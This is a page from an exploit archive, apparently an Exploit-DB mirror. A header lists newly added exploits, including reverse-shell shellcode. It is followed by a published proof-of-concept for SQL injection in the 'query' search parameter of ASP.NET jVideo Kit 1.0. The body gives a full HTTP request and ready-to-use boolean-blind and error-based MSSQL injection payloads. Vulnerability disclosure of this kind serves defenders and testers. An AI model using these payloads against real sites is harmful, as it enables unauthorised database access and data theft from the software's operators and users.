c0126aa27f
16 changes to exploits/shellcodes DynoRoot DHCP - Client Command Injection DynoRoot DHCP Client - Command Injection Microsoft Internet Explorer 11 (Windows 7 x64/x86) - vbscript Code Execution Flash ActiveX 18.0.0.194 - Code Execution Microsoft Internet Explorer 11 - javascript Code Execution Flash ActiveX 28.0.0.137 - Code Execution (1) Flash ActiveX 28.0.0.137 - Code Execution (2) GNU glibc < 2.27 - Local Buffer Overflow NewsBee CMS 1.4 - Cross-Site Request Forgery ASP.NET jVideo Kit - 'query' SQL Injection PaulNews 1.0 - 'keyword' SQL Injection / Cross-Site Scripting OpenDaylight - SQL Injection Timber 1.1 - Cross-Site Request Forgery Honeywell XL Web Controller - Cross-Site Scripting EU MRV Regulatory Complete Solution 1 - Authentication Bypass Linux/x86 - Reverse (10.10.2.4:4444/TCP) Shell Shellcode (68 bytes) Linux/x86 - Reverse (10.0.7.17:4444/TCP) Shell (/bin/sh) Shellcode (101 Bytes)
52 lines
No EOL
1.8 KiB
Text
52 lines
No EOL
1.8 KiB
Text
# Exploit Title: ASP.NET jVideo Kit - 'query' SQL Injection
|
|
# Dork: N/A
|
|
# Date: 23.05.2018
|
|
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
|
|
# Vendor: MediaSoft Pro
|
|
# Vendor Homepage: https://www.mediasoftpro.com/video-sharing-script/mvc/
|
|
# Version: v1.0
|
|
# Category: Webapps
|
|
# Tested on: Kali linux
|
|
# Description : The vulnerability allows an attacker to inject sql commands
|
|
from the search section with 'query' parameter. You can use the GET or POST
|
|
methods.
|
|
====================================================
|
|
|
|
# PoC : SQLi :
|
|
|
|
# GET : http://test.com/search?query=[SQL]
|
|
# POST : http://test.com/search
|
|
POST /search HTTP/1.1
|
|
Host: test.com
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
|
|
Firefox/45.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://test.com/login
|
|
Cookie: ASP.NET_SessionId=wxim4xkwgxvhtu5k3pvevc3o;
|
|
__RequestVerificationToken=iuu_Y6Xm3aOzaKj3EfCyE_-eT-Ff_lRdBMBZzyFRszSTGdNcaY2w5pH7ck0WZ2egIX3R18UlpXkr8pe_kxw6Ic2g1M-Cmz4woLsU6RRMV3M1
|
|
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 10
|
|
Query=test
|
|
|
|
|
|
# Vulnerable Payload :
|
|
|
|
Parameter: query (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: query=test%' AND 3923=3923 AND '%'='
|
|
|
|
Type: error-based
|
|
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
|
|
clause (IN)
|
|
Payload: query=test%' AND 1603 IN (SELECT
|
|
(CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN
|
|
(1603=1603) THEN CHAR(49) ELSE CHAR(48)
|
|
END))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113))) AND '%'='
|
|
|
|
|
|
==================================================== |